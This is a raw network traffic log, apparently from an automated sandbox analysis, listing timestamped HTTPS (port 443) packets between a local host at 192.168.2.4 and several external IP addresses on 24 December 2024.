Dec 24, 2024 15:06:31.766933918 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.774769068 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.774795055 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.774838924 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.774847984 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.774897099 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.774909973 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.774960995 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.775033951 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.775043964 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.776031971 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.776138067 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.776144981 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.776161909 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.776210070 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.782979965 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.787899971 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.787955999 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.787971020 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.792414904 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.792483091 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.792496920 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.801367044 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.801439047 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.801453114 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.844016075 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.900932074 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.902410984 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.902514935 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.902537107 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.907210112 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.907272100 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.907285929 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.912286997 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.912350893 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.912364960 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.917099953 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.917198896 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.917212963 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.946125984 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.946137905 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.946194887 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.946202993 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.946247101 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.946270943 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.946325064 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.946352959 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.946352959 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.946352959 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.946376085 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.946409941 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.961833000 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.961898088 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.961956978 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.961977959 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.962037086 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.964339018 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.964361906 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:32.586808920 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:32.587110043 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:32.587126970 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:32.588030100 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:32.588103056 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:32.588490963 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:32.588541985 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:32.588713884 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:32.588725090 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:32.629901886 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:32.630125046 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:32.630141020 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:32.631032944 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:32.631104946 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:32.631370068 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:32.631429911 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:32.631474018 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:32.632437944 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:32.675343037 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:32.679450989 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:32.679460049 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:32.724641085 CET	443	49765	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:32.725003004 CET	49765	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:32.725013971 CET	443	49765	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:32.726406097 CET	443	49765	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:32.726861954 CET	49765	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:32.727034092 CET	49765	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:32.727037907 CET	443	49765	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:32.727143049 CET	443	49765	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:32.728538036 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:32.777740955 CET	49765	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:33.034626961 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.034682989 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.034710884 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.034723997 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.034734011 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.034774065 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.034780979 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.034849882 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.034889936 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.034895897 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.042920113 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.042970896 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.042987108 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.059562922 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.059608936 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.059614897 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.070874929 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.071177006 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.071203947 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.071219921 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.071235895 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.071270943 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.071295023 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.079516888 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.079566956 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.079580069 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.088398933 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.088445902 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.088460922 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.103518963 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.125266075 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.125303030 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.125368118 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.125632048 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.125646114 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.134772062 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.134783983 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.154314041 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.181395054 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.185156107 CET	443	49765	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:33.185355902 CET	443	49765	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:33.185409069 CET	49765	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:33.185492992 CET	49765	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:33.185507059 CET	443	49765	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:33.185522079 CET	49765	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:33.185554981 CET	49765	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:33.190373898 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.196934938 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.226788998 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.230850935 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.230902910 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.230912924 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.238738060 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.238784075 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.238790989 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.244549036 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.246649027 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.246695042 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.246701956 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.262537003 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.262615919 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.262622118 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.262700081 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.266882896 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.266936064 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.266948938 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.270512104 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.270558119 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.270562887 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.273217916 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.273283005 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.273289919 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.278645992 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.278703928 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.278708935 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.286478996 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.286540985 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.286545038 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.290908098 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.290930986 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.290956974 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.290962934 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.291006088 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.294528008 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.294584036 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.294589996 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.299473047 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.299561024 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.299607038 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.300066948 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.300079107 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.301604986 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.301661015 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.301666021 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.303057909 CET	49767	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.303107023 CET	443	49767	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.303169966 CET	49767	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.303411007 CET	49767	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:33.303421974 CET	443	49767	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:33.354173899 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.354185104 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.405738115 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.419447899 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.421971083 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.422051907 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.422059059 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.426772118 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:33.426841021 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.427031040 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:33.427047014 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:34.334903002 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.335248947 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.335268974 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.335582972 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.335879087 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.335932970 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.336033106 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.379378080 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.520149946 CET	443	49767	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.520493031 CET	49767	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.520519972 CET	443	49767	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.521601915 CET	443	49767	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.521997929 CET	49767	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.522135973 CET	49767	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.522142887 CET	443	49767	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.522170067 CET	443	49767	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.571299076 CET	49767	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.784941912 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.785016060 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.785037994 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.785058975 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.785115957 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.785115957 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.785145998 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.785171986 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.785317898 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.785326004 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.793169022 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.793267012 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.793275118 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.801898956 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.801995039 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.802002907 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.856244087 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.856324911 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.904202938 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.905814886 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.952404022 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.969876051 CET	443	49767	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.970057011 CET	443	49767	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.970129967 CET	49767	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.970951080 CET	49767	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.970983028 CET	443	49767	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.975800037 CET	49768	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:34.975855112 CET	443	49768	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:34.975924015 CET	49768	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:34.976186991 CET	49768	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:34.976201057 CET	443	49768	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:34.976908922 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.980766058 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.980820894 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.980839014 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.987042904 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:34.987092018 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:34.987108946 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.002723932 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.002774000 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.002790928 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.010576010 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.010628939 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.010648966 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.018260956 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.018301010 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.018317938 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.026081085 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.026133060 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.026150942 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.034235954 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.034287930 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.034307003 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.041857004 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.041908026 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.041924953 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.048423052 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.048482895 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.048499107 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.090536118 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.090559959 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.135653973 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.169342995 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.171500921 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.171560049 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.171585083 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.176106930 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.176157951 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.176183939 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.180680990 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.180732965 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.180747986 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.189487934 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.189544916 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.189567089 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.193999052 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.194061995 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.194077015 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.194128036 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.202610970 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.202619076 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.202677011 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.202774048 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.202836037 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.211497068 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.211503983 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.211563110 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.220130920 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.220139980 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.220199108 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.229028940 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.229093075 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.233525038 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.233593941 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.242222071 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.242279053 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.363173962 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.363265991 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.370749950 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.370805025 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.374295950 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.374366999 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.381661892 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.381720066 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.385596037 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.385657072 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.392750978 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.392813921 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.392829895 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.392847061 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.392891884 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.393357992 CET	49766	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.393377066 CET	443	49766	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.420253992 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:35.420310974 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:35.420407057 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:35.420739889 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:35.420753956 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:35.437896013 CET	49752	443	192.168.2.4	104.21.91.204
Dec 24, 2024 15:06:35.479337931 CET	443	49752	104.21.91.204	192.168.2.4
Dec 24, 2024 15:06:35.583331108 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.583389044 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.583453894 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:35.583822012 CET	49770	443	192.168.2.4	104.18.94.41
